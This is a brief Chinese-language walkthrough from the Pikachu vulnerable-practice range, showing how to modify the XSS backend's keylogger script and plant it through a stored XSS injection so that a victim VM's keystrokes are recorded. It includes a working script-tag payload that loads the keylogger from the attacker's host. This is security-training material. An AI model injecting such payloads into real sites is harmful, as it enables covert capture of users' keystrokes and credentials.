以pikachu靶场的xss后台的键盘记录为例:
(win11本机中开启phpstudy,让虚拟机win7进行访问,win7是受害者)
修改E:\phpstudy2018\PHPTutorial\WWW\pikachu\pkxss\rkeypress\rk.js文件的内容,如下图红框处:
之后在xss存储型中进行xss注入,输入以下xss注入语句:
<script src="http://10.4.27.70/pikachu/pkxss/rkeypress/rk.js"></script>
先随便敲点什么,然后访问xss后台的“键盘记录”就可以看到记录结果了:
(当然,键盘记录也只是局限于xss存储型页面)
每次刷新页面或者进入该页面都会被进行键盘记录:
若是想结束“键盘记录”就得删了存储记录或者初始化pikachu靶场